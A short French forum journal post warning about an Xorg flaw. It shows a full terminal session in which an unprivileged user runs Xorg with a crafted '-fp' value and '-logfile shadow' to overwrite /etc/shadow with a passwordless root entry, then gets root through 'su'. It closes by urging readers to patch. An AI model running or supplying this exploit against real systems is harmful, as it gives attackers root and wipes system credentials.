URL: https://linuxfr.org/users/psychofox/journaux/la-faille-grosse-comme-une-maison
Title: La faille grosse comme une maison
Authors: Psychofox
Date: 2018年10月26日T10:59:02+02:00
License: CC By-SA
Tags: sécurité, xorg et faille
Score: 26> [Dev@localhost ~]$ id> > uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023> > [Dev@localhost ~]$> [Dev@localhost ~]$ cd /etc> [Dev@localhost etc]$> [Dev@localhost etc]$ ls -la shadow> > ----------. 1 root root 1241 Oct 10 01:15 shadow> > [Dev@localhost etc]$> [Dev@localhost etc]$ cat shadow> > cat: shadow: Permission denied> > [Dev@localhost etc]$> [Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1>> X.Org X Server 1.19.5> Release Date: 2017年10月12日> X Protocol Version 11, Revision 0> Build Operating System: 3.10.0-693.17.1.el7.x86_64> Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64> Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8> Build Date: 11 April 2018 04:40:54PM> Build ID: xorg-x11-server 1.19.5-5.el7> Current version of pixman: 0.34.0> Before reporting problems, check http://wiki.x.org> to make sure that you have the latest version.> Markers: (--) probed, (**) from config file, (==) default setting,> (++) from command line, (!!) notice, (II) informational,> (WW) warning, (EE) error, (NI) not implemented, (??) unknown.> (++) Log file: "shadow", Time: Wed Oct 10 01:16:10 2018> (==) Using config directory: "/etc/X11/xorg.conf.d"> (==) Using system config directory "/usr/share/X11/xorg.conf.d"> ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)> (II) Server terminated successfully (0). Closing log file.> > [Dev@localhost etc]$ ls -la shadow> > -rw-r--r--. 1 root Dev 53897 Oct 10 01:16 shadow> > [Dev@localhost etc]$> [Dev@localhost etc]$ cat shadow | grep "root::"> > root::16431:0:99999:7:::> > [Dev@localhost etc]$> [Dev@localhost etc]$> [Dev@localhost etc]$ su> [root@localhost etc]#> [root@localhost etc]# id> > uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023``
Bref patchez toutes vos machines qui peuvent avoir un xorg qui traine quelque part (et ça j'en ai vu des xorgs qui servent à rien installés par des presta, dba paresseux ou autre).
</div><div class="naked_ctrl">
<form action="/index.cgi/contrast" method="get" name="gate">
<p><a href="http://altstyle.alfasado.net">AltStyle</a> によって変換されたページ <a href="httpS://linuxfr.org/users/psychofox/journaux/la-faille-grosse-comme-une-maison.md">(-&gt;オリジナル)</a>
/ <label>アドレス: <input type="text" name="naked_post_url" value="httpS://linuxfr.org/users/psychofox/journaux/la-faille-grosse-comme-une-maison.md" size="22" /></label> <label>モード: <select name="naked_post_mode">
<option value="default">デフォルト</option>
<option value="speech">音声ブラウザ</option>
<option value="ruby">ルビ付き</option>
<option value="contrast" selected="selected">配色反転</option>
<option value="larger-text">文字拡大</option>
<option value="mobile">モバイル</option>
</select>
<input type="submit" value="表示" />
</p>
</form>
</div>